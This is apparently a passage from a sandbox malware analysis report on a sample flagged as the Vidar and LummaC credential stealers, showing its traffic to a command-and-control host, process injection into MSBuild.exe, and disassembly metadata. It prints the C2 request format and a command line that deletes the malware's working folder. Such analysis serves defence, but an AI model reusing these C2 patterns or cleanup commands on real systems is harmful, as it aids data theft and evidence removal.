2024-10-07 16:01:02 UTC	1369	IN	Data Raw: 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 6f 6f 6b Data Ascii: cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cook
2024-10-07 16:01:02 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 7a 6f 57 78 4f 56 4b 45 4a 31 33 59 4c 37 49 6d 39 57 51 74 50 78 57 5a 77 34 64 41 67 4f 7a 39 66 37 5f 31 57 45 37 55 34 49 30 2d 31 37 32 38 33 31 36 38 36 32 2d 30 2e 30 2e 31 2e 31 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 Data Ascii: <input type="hidden" name="atok" value="zoWxOVKEJ13YL7Im9WQtPxWZw4dAgOz9f7_1WE7U4I0-1728316862-0.0.1.1-/api"> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" st
2024-10-07 16:01:02 UTC	849	IN	Data Raw: 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 61 Data Ascii: m:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a
2024-10-07 16:01:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49979	188.114.97.3	443	4036	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 16:01:02 UTC	351	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=zoWxOVKEJ13YL7Im9WQtPxWZw4dAgOz9f7_1WE7U4I0-1728316862-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: exemplarou.sbs
2024-10-07 16:01:02 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=
2024-10-07 16:01:03 UTC	799	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:01:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sgdv9uqvs645p825253p66haqg; expires=Fri, 31 Jan 2025 09:47:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QNa%2B9o3jHGJ11BSxwnGXg0X7gUfcuTeuZIbXbUDEl%2FTQ%2BnBlbXp%2Fsdzes3P5PCHEwGc4mMYGc3dDY6k6csT6kxXx9nNoW8dCFbWE2vTMoNl9p0%2By8R4kGhxzSI5Lyv%2F0rA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cef1b897b634390-EWR
2024-10-07 16:01:03 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-07 16:01:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	12:00:11
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\VLSiVR4Qxs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\VLSiVR4Qxs.exe"
Imagebase:	0x3c0000
File size:	584'704 bytes
MD5 hash:	D1EED00237BF1B0C9024F383AC8FD19C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:00:11
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x720000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: HiddenCobra_BANKSHOT_Gen, Description: Detects Hidden Cobra BANKSHOT trojan, Source: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:00:12
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3472 -s 268
Imagebase:	0xc40000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:01:00
Start date:	07/10/2024
Path:	C:\ProgramData\HCAEHDHDAK.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\HCAEHDHDAK.exe"
Imagebase:	0x60000
File size:	551'424 bytes
MD5 hash:	64FE8DFA186F801847E6C710F30B2884
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000008.00000002.2713240111.000000000008D000.00000004.00000001.01000000.0000000A.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:01:00
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x120000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:01:00
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xc0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	12:01:00
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x350000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:01:00
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x570000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 0000000C.00000002.2729402755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:01:00
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1248 -s 276
Imagebase:	0xc40000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	12:01:03
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4036 -s 1604
Imagebase:	0xc40000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	12:01:04
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\HJECAAKKFHCF" & exit
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	12:01:04
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6a5670000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	12:01:04
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0x120000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.1%
Total number of Nodes:	229
Total number of Limit Nodes:	4

Executed Functions

Function 003C2021 Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 631
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(0044DCD8,?,00000040,?), ref: 003C2738

Strings

S, xrefs: 003C206A
a, xrefs: 003C2296
', xrefs: 003C2718

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: '$S$a
API String ID: 544645111-1060379873
Opcode ID: 21182c34baa0bb6144a2b7d35498af5fed8e7feb2f9014c40cb777308deea556
Instruction ID: 824ae197c75838140fc3481bc13b8f0b4e968b33cfe64edca6a95972d3bb7a45
Opcode Fuzzy Hash: 21182c34baa0bb6144a2b7d35498af5fed8e7feb2f9014c40cb777308deea556
Instruction Fuzzy Hash: 26F1C02B934E2B06E70960394D52BE7954AD7AA330F92433BBE63DB7F4E3690D419344

Function 003D6368 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,003D8F1C,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 003D639C
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,003D8F1C,?,?,00000000,?,00000000), ref: 003D63BA

Strings

R[<, xrefs: 003D6396

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: String
String ID: R[<
API String ID: 2568140703-3864648660
Opcode ID: 93fedf8de41e47f05b2ba727d8071c56956c6de5145256ad3144e8da11e8fd77
Instruction ID: 5f7b9c3c194b8ecc52c2b94558b06bda26576d3a0a9edf4889364bc1d230fd18
Opcode Fuzzy Hash: 93fedf8de41e47f05b2ba727d8071c56956c6de5145256ad3144e8da11e8fd77
Instruction Fuzzy Hash: D3F0683710015ABBCF136F90EC09DDE3F2AAB48360F058111FA286A130C732D975AB90

Function 003D8E2E Relevance: 4.7, APIs: 3, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__freea.LIBCMT ref: 003D8FDD

Part of subcall function 003D3A83: HeapAlloc.KERNEL32(00000000,003DA1AA,?,?,003DA1AA,00000220,?,?,?), ref: 003D3AB5

__freea.LIBCMT ref: 003D8FF2
__freea.LIBCMT ref: 003D9002

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: __freea$AllocHeap
String ID:
API String ID: 85559729-0
Opcode ID: 6206ad4f58cae02ba3d86ac4fe72349f8fb73776606fa472d387972cf2b046fc
Instruction ID: fb1f16d720a578d0faa60269f3b612dbff881c1f80d6a12cbcef93dd825aec59
Opcode Fuzzy Hash: 6206ad4f58cae02ba3d86ac4fe72349f8fb73776606fa472d387972cf2b046fc
Instruction Fuzzy Hash: D9517173600216AFEB239F64BC41EBB77AEEF44750B16052AFD08DA350EA31ED508760

Function 003DA3A6 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003D9ED6: GetOEMCP.KERNEL32(00000000,?,?,?,?), ref: 003D9F01

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,003DA1ED,?,00000000,?,?,?), ref: 003DA407
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,003DA1ED,?,00000000,?,?,?), ref: 003DA449

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 279bee89973a5cb7724d41102558c2da4e3ed108ed5c6762c1cbedb3bb7ed455
Instruction ID: a48a81edaa3864186ecf99a0e863b2f8dea5ef8b5f46c8b2392620fc84beab17
Opcode Fuzzy Hash: 279bee89973a5cb7724d41102558c2da4e3ed108ed5c6762c1cbedb3bb7ed455
Instruction Fuzzy Hash: DC514872900A449FDB23CF36E9856AABBF5FF81300F15416FD0828B351E7B49945CB42

Function 003D9FAA Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,003DA1F9,003DA1ED,00000000), ref: 003D9FDC

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 8464924a002031b04450cfb00603817addab54ca00a2538a7bf4a427fb20f86e
Instruction ID: b701134a2bf23124737a151111eb36f9208dc369e8fc27fe8aba995d108e3bc4
Opcode Fuzzy Hash: 8464924a002031b04450cfb00603817addab54ca00a2538a7bf4a427fb20f86e
Instruction Fuzzy Hash: 49514D729041589ADB238B28DE84BE67BBCEB45304F2405EED19AC7242D2759E45DB21

Non-executed Functions

Function 003DC9E9 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003D4EB1: GetLastError.KERNEL32(?,00000008,003D9482), ref: 003D4EB5
Part of subcall function 003D4EB1: SetLastError.KERNEL32(00000000,003EC480,00000024,003D0419), ref: 003D4F57

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 003DCAF5
IsValidCodePage.KERNEL32(00000000), ref: 003DCB3E
IsValidLocale.KERNEL32(?,00000001), ref: 003DCB4D
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 003DCB95
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 003DCBB4

Strings

||>, xrefs: 003DCA4E

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: ||>
API String ID: 415426439-3762381687
Opcode ID: ff3c6ef6117e567e841baffb715dc41e005d0f0b0b4c624374003beda7abb548
Instruction ID: 3fa176f967988a1bc658dd5eac5c430fe10cd38500904b82a35550bd1ca32947
Opcode Fuzzy Hash: ff3c6ef6117e567e841baffb715dc41e005d0f0b0b4c624374003beda7abb548
Instruction Fuzzy Hash: 35517473A2020A9BDB12DFA5EC45ABA77B8FF09700F15516BE511EB290E770DE04CB61

Function 003DD39B Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 003DD57F

Strings

1#IND, xrefs: 003DD4A0
1#QNAN, xrefs: 003DD4AE
1#INF, xrefs: 003DD4D1
1#SNAN, xrefs: 003DD4A7

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: e58d56e77ff1479e02246ec41f948f0f7086caf97e793a30e9c67937f24bf13b
Instruction ID: ea0b5a412bb5f1db523c38c52893e07cbff99d976bb7ef994f3df7640cc9b8c5
Opcode Fuzzy Hash: e58d56e77ff1479e02246ec41f948f0f7086caf97e793a30e9c67937f24bf13b
Instruction Fuzzy Hash: 8DD21972E082288FDB66DF28ED407EAB7B9EB45305F1541EAD40DE7240E774AE858F41

Function 003DC085 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003D4EB1: GetLastError.KERNEL32(?,00000008,003D9482), ref: 003D4EB5
Part of subcall function 003D4EB1: SetLastError.KERNEL32(00000000,003EC480,00000024,003D0419), ref: 003D4F57

GetACP.KERNEL32(?,?,?,?,?,?,003D1848,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 003DC146
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,003D1848,?,?,?,00000055,?,-00000050,?,?), ref: 003DC171
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 003DC2D4

Strings

utf8, xrefs: 003DC243
||>, xrefs: 003DC0C7

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8$||>
API String ID: 607553120-3860408745
Opcode ID: abb8cb117bde3682c2839d02b22edb2204eb515578bdd9598d1f1efccae1bdd5
Instruction ID: 96dad0badc40c71e0581669dc8d9e83a36163d5caab8d247b029ede81f18b873
Opcode Fuzzy Hash: abb8cb117bde3682c2839d02b22edb2204eb515578bdd9598d1f1efccae1bdd5
